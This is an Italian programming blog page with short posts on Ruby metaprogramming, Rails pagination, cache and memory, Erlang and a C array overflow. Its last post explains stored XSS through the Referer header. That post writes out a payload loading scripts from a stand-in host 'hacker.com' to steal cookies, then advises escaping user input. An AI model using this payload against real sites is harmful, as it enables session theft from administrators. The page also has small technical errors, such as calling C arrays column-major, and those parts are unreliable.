Posted by Dibi Store
Wed, 07 May 2008 13:12:00 GMT
Il modello sostitutivo, in ambito informatico, è il più semplice di una serie incrementale di modelli che descrivono come un interprete analizza il programma. L'uso del modello sostitutivo è quotidianamente usato anche dagli utenti per capire come una determinata procedura funziona.
Per cogliere al volo il concetto analizziamo il seguente listato:
pi: 3.14159
circonferenza(x): x * x * pi
somma_di_circonferenze(x, y): circonferenza(x) + circonferenza(y)
somma_di_circonferenze(4, 7) = ?
Read more...
Posted in programmazione | no comments | no trackbacks
Posted by Dibi Store
Sat, 29 Mar 2008 22:11:00 GMT
Quando programmiamo in alcuni linguaggi di alto livello, come ad esempio in ruby, non abbiamo bisogno di preoccuparci di come viene gestita la memoria da parte del computer. Tuttavia è interessante (oltre che utile) conoscere almeno a livello superficiale cosa avviene dietro le quinte. Questo articolo ha l'obiettivo di descrivere in maniera generale il processo di lettura e scrittura della memoria.
Registri
I registri sono la parte più performante della memoria, ma sono anche molto costosi, infatti nei processori 80x86, abbiamo a disposizione solo 8 registri da 32 bit (più altri di minore capacità). Quando lavoriamo a basso livello ci conviene sempre utilizzare i registri (se possibile) in modo di sfruttare appieno la velocità della nostra cpu.
Cache
La cache è quella parte della memoria che memorizza i valori corrispondenti a diversi indirizzi fisici di memoria. In ogni computer può esser presente uno o più livelli di cache, ad esempio L1 e L2. Prendendo come esempio L1, esso è costituito da diverse cache lines (linee di cache) che a loro volta contengono delle sequenze di byte.
In che modo vengono memorizzati i dati in cache?
Solitamente vengono usate tre strategie per determinare in quale cache line inserire il valore presente in memoria:
- strategia a mappatura diretta: da ogni indirizzo di memoria viene ricavata la relativa linea di cache attraverso un algoritmo. Tuttavia essendo le linee di cache un numero molto inferiore rispetto agli indirizzi di memoria, è probabile che si creino dei conflitti qualora si tenti di sovrascrivere una linea di cache già usata in precedenza.
- strategia a mappatura associativa: in questo caso il controller di cache, ha la possibilità di decidere arbitrariamente quale linea di cache utilizzare. Questo metodo è poco usato in quanto molto dispendioso a livelli di performance.
- memoria associativa n-volte (n-way set associative cache): In questo caso il blocco di cache che abbiamo a disposizione viene suddiviso n volte (per esempio 2 o 4), e queste suddivisioni vengono chiamate set. Questo ci permette di usare la strategia a mappatura diretta direttamente sui set, mentre al loro interno possiamo usare la strategia a mappatura associativa.
E quando tentiamo di sovrascrivere una linea di cache utilizzata in precedenza?
Nel caso in cui tentiamo di sovrascrivere una porzione di memoria attraverso una mappatura diretta, viene semplicemente dovrascritta la parte interessata, mentre nel caso stiamo usando una mappatura associativa, il discorso diventa più complesso: in alcuni casi viene sostituita la linea di cache usata meno recentemente, mentre altre volte la sostituzione avviene in modo randomico oppure attraverso il meccanismo fifo (first in first out).
Cosa succede quando scriviamo dati in memoria principale?
Ma soprattutto: quando tento di salvare un dato in un indirizzo di memoria, il livello di cache che si occupa di memorizzare il valore, come interagisce con questo processo?
Anche qui le scelte più usate sono due:
- write through policy
- write back policy
Write through policy; ogni volta che memorizziamo un dato in memoria, dapprima viene salvato in cache, subito dopo nella memoria principale. Write back policy invece salva prima il dato in memoria, e dopo un certo lasso di tempo lo salva nella memoria principale. Qualora stiamo salvando grosse quantità di memoria, nel primo caso il BUS che trasporta i dati dalla cache alla memoria principale finisce per intasarsi, analogamente nel secondo caso se tentiamo di memorizzare un dato nella stessa linea di cache, dobbiamo attendere che venga trasferito il rispettivo valore nella memoria principale. Nel caso la performance sia un elemento essenziale, è compito del programmatore (nei limiti del possibile) assicurarsi di utilizzare la cache in maniera propria.
NUMA
Questo livello di memoria viene usato generalmente da dispositivi quali schede video, schede di interfaccia, ecc, che ovviamente hanno un tempo di accesso maggiore rispetto alla memoria principale.
Memoria virtuale
La memoria virtuale simula la memoria principale utilizzando lo spazio su disco ed è responsabile del trasferimento di dati dall'hard disk alla memoria principale. E' inoltre responsabile della gestione dei processi del sistema, ad esempio ipotizzando di avere in attivo 10 servizi contemporaneamente, come può la CPU decidere quale memoria far utilizzare a ciascun servizio? La risposta è il paging.
Il paging consiste nel suddividere la memoria in porzioni (per esempio da 32 bit) le quali vengono affidate ai vari processi. In questo modo ogni processo avrà i suoi indirizzi di memoria riservati (nota che per il processo 1, l'indirizzo $F è diverso dal rispettivo $F nel processo 2). La CPU userà poi in seguito una tabella di lookup per conoscere l'effettivo indirizzo, che a sua volta contiene un meccanismo di cache per evitare problemi di performance.
Esempio pratico per l'ottimizzazione del software in C
int arr[123][123]
...
for(i = 0; i < 123; i++) arr[0][0] = ..
{ arr[1][0] = ..
for(j = 0; j < 123; j++) arr[2][0] = ...
{
arr[j][i] = i + j;
}
}
vs
int arr[123][123]
...
for(i = 0; i < 123; i++) arr[0][0] = ..
{ arr[0][1] = ..
for(j = 0; j < 123; j++) arr[0][2] = ...
{
arr[i][j] = i + j;
}
}
In questi due esempi l'unica differenza risiede nell'ultima istruzione. Il C usa l'ordinamento a colonne per gestire gli array di dimensione multipla, per cui vengono salvati gli indici in posizioni continue nella cache di memoria. Tuttavia nel primo esempio l'accesso avviene in modo non naturale, causando un fenomeno descritto come trashing, mentre nel secondo caso sfruttiamo appieno le capacità della CPU.
La chiave qui sta nel fatto che è sempre meglio studiare come avviene l'accesso alla memoria qualora si stia tentando di ottimizzare il proprio codice a questi livelli (anche se sarebbe sempre da prendere come regola generale).
Conclusioni
Nella lista non è stata inclusa la gestione della memoria su disco fisso, dispositivi esterni e network.
Approfondimenti:
Posted in programmazione | Tags memory | no comments | no trackbacks
Posted by Dibi Store
Sat, 22 Mar 2008 18:01:00 GMT
Una domanda legittima che un programmatore può farsi nel corso dei suoi studi è: dov'è che esattamente viene rediretto l'output dei miei comandi?
Ad esempio in ruby, il metodo puts viene chiamato senza ricevente esplicito, quindi da qualche parte deve essere definito dove stampare la stringa.
Quando avviamo un programma in ruby, ci vengono fornite tre costanti, STDIN, STDOUT e STDERR, che indicano rispettivamente da dove prendere l'input, dove stampare l'output e infine gli errori. Queste variabili contengono degli indirizzi di memoria, possiamo verificarlo con un semplice inspect delle costanti.
A dire il vero, ruby ci mette a disposizione anche tre variabili globali ($stdin, $stdout e $stderr), che possono essere gestite direttamente da noi all'interno del programma per modifica il flusso I/O. Vediamo un esempio:
file = File.new('foo', w)
puts 'standard output'
$stdout = file
puts 'sto scrivendo all\'interno del file'
$stdout = STDOUT
puts 'sono nuovamente nel flusso standard'
Posted in ruby | Tags io | no comments | no trackbacks
Posted by Dibi Store
Thu, 20 Mar 2008 14:28:00 GMT
Il plugin acts_as_taggable_on_steroids è molto utile quando abbiamo bisogno di taggare i nostri modelli in rails. Recentemente mi sono trovato a dover implementare una funzionalità di paginazione che tenesse conto dei risultati della ricerca per tag. Come plugin per la paginazione usiamo will_paginate e per aggiungere la funzionalità mi è bastato inserire questo pezzo di codice alla fine del file environment.rb.
module ActiveRecord
module Acts
module Taggable
module SingletonMethods
def paginate_tagged_with(*args)
options = find_options_for_find_tagged_with(*args)
options.blank? ? WillPaginate::Collection.new(1, 1, 0) : paginate(:all, options)
end
end
end
end
end
Dietro le quinte stiamo definendo un metodo che usa paginate al posto di file, WillPaginate::Collection.new(1, 1, 0) serve invece per evitare di ricevere l'errore undefined method `page_count' for []:Array quando l'array di risultati è vuoto.
Posted in ruby on rails | no comments | no trackbacks
Posted by Dibi Store
Fri, 07 Mar 2008 16:20:00 GMT
A volte può essere utile conoscere quando viene creata una sotto classe di una particolare classe. Per questo può tornare utile il metodo di classe (scusate il gioco di parole) Class.inherited. Gli esempi seguenti sono auto esplicativi e non dovrebbero lasciare dubbi:
class Foo
class << self # => Uguale a def self.inherited...
def inherited(sub_class)
puts "Hai creato la sottoclasse #{sub_class}"
end
end
end
class Bar < Foo; end
Posted in ruby | Tags metaprogrammazione | no comments | no trackbacks
Posted by Dibi Store
Tue, 04 Mar 2008 10:28:00 GMT
Continuo la serie di articoli riguardo la metaprogrammazione in Ruby mostrando un paio di metodi molto utili. I metodi che seguono permettono di creare rispettivamente un metodo di istanza (ossia che disponibile successivamente aver istanziato la classe) e un metodo di classe (richimabile senza aver istanziato la classe). Questi metodi sono molto utilizzati ad esempio nel sorgente di rails e ci permettono di usare tutti quei metodi come validates_presence_of che ci vengono regalati in molte classi. Notate nel secondo esempio come usiamo in modo appropriato il codice class << self.
class Test; end
Test.module_eval do
define_method :talk do
puts "This is cool!"
end
end
Test.new.talk # => This is cool!
Test.module_eval do
class << self
define_method :talk_again do
puts "This is more cool!"
end
end
end
Test.talk_again # => This is more cool!
Un applicazione reale? Immaginate di dover definire lo stesso metodo in dieci classi diverse contenute nell'array classi, potreste usare il codice seguente:
classi.each do |c|
c.module_eval do
define_method :validates... do |*args|
....
end
end
end
Notate che *args è un hash di argomenti che possono essere passati alla funzione, potete poi estrapolarli a vostro piacere. E' possibile anche dare un solo (o più) argomenti alla funzione con la seguente sintassi define_method :name do |arg1, arg2| ... end.
Risorse: documentazione modulo
Posted in ruby | Tags metaprogrammazione | no comments | no trackbacks
Posted by Dibi Store
Mon, 03 Mar 2008 19:47:00 GMT
In ruby è possibile conoscere l'elenco delle costanti accessibili da un determinato modulo o classe attraverso il metodo Module::constants.
Il metodo ritorna un array delle costanti definite dal modulo e dai moduli che sono stati inclusi in essi. Di seguito degli esempi chiariranno meglio il concetto:
class Klass
Foo = 'foo'
end
puts Klass.constants.include?('Foo') # => true
module Foo
Bar = 'bar'
end
puts Foo.constants.include?('Bar') # => true
module Test
include Foo
end
puts Test.constants.include?('Bar') # => true
puts Object.constants.include?('Klass') # => true
puts Object.constants.include?('Foo') # => true
class Klass
Foo = 'foo'
end
puts Klass::Foo # => foo
Klass.const_set(:Test, 'valore')
puts Klass::Test # => valore
# Ridefiniamo la costante Foo
Klass.const_set(:Foo, 'bar')
puts Klass::Foo # => bar
Notate che l'ultimo test funziona, anche se giustamente viene restituito un warning che ci avvisa che la costante era già stata definita.
Per finire può essere utile ridefinire il metodo che viene invocato quando una costante non esiste, nell'esempio seguente restituirò un messaggio per avvertire che la costante non esiste:
def Object.const_missing(name)
"La costante #{name} che cercavi non è ancora stata definita"
end
puts Class::Foo # => La costante Foo che cercavi non è ancora stata definita
Posted in ruby | Tags ruby | no comments | no trackbacks
Posted by Dibi Store
Sun, 02 Mar 2008 17:21:00 GMT
Oggi pomeriggio stavo provando qualche semplice esempio di buffer overflow sul mio mac book e mi aspettavo (come negli altri sistemi) di ricevere un errore di segmentation fault qualora tentassi di sovrascrivere un array al di fuori della sua grandezza. L'esempio chiarisse cosa stavo tentanto di fare:
int main()
{
int array[5];
int i;
for(i = 0; i < 255; i++)
{
array[i] = 10;
}
printf("%d\n", array[40]);
return 0;
}
Cosa vi aspettereste di output? Bhe di certo non 10! Se qualcuno sa dirmi il perchè di sta cosa mi fa un piacere, certo è che sta cosa a mio parere può condurre ad errori e andrebbe tolta.
Posted in sicurezza | Tags codekata | 10 comments | no trackbacks
Posted by Dibi Store
Sun, 02 Mar 2008 11:54:00 GMT
Erlang è un linguaggio di programmazione concorrente, ossia destinata all'iterazione di molti processi contemporanei, si pensi ad esempio a un applicazione di chat.
Erlang è stato creato nei laboratori Ericsson e reso in seguito open-source. Oggi vanta di una comunità di sviluppatori in forte crescita. Viene usato in moltissime situazioni reali, in particolare nel settore delle telecomunicazioni, come T-Mobile. Il linguaggio è compilato e molto veloce.
Programmare in Erlang è semplice, tuttavia potrebbe apparire strano all'inizio, in quanto è un tipo di programmazione che si distacca dalla comune programmazione ad oggetti.
Nei prossimi articoli inizierò a parlare di questo fantastico linguaggio, cercando di dare qualche suggerimento come al solito, intanto lascio qualche risorsa per chi vuole approfondire e valutare se investire in questa risorsa.
Il sito ufficiale: www.erlang.org
Community: www.trapexit.org/
Un ottimo libro per iniziare: programming erlang
Posted in erlang | Tags erlang | 2 comments | no trackbacks
Posted by Dibi Store
Wed, 13 Feb 2008 08:37:00 GMT
Molti non sanno che è possibile sfruttare la tecnica di xss anche tramite l'attributo referrer. A titolo didattico illustrerò un esempio non reale ti tale tecnica. Notate che l'url in questione può essere camuffata in diverse tecniche.
Innanzitutto l'attaccante individua una vittima e ipotizza che da qualche parte in admin ci sia una schermata di riepilogo dei referrer che hanno puntato al sito, poi crea una pagina ad hoc in qui crea un link che punti ad esempio alla home page del sito vittima, e ci clicca. In questo modo il sito vittima registrerà tale evento e verà visualizzato l'url all'amministratore. Cosa succede se però l'indirizzo del referrer è qualcosa di simile al seguente?
Referer: http://sito-cattivo.com/?<script/src="http://hacker.com/hackForIE.js
?unique=123456"src="http://hacker.com/hackForFF.js?unique=123456"></script>
In pratica questo script caricherà come sorgente il js sul sito hacker.com, tale url è stata scritta (non direttamente da me) per evitare una protezione del browser firefox. Inutile dire che dentro quel sito potrebbe esserci ad esempio un javascript che invia i cookie ad un web service predisposto per riceverli. Per ovviare al problema ricordatevi di fare un escape di tutti i dati che un utente può modificare e arrecare danno.
Posted in sicurezza | Tags xss | no comments | no trackbacks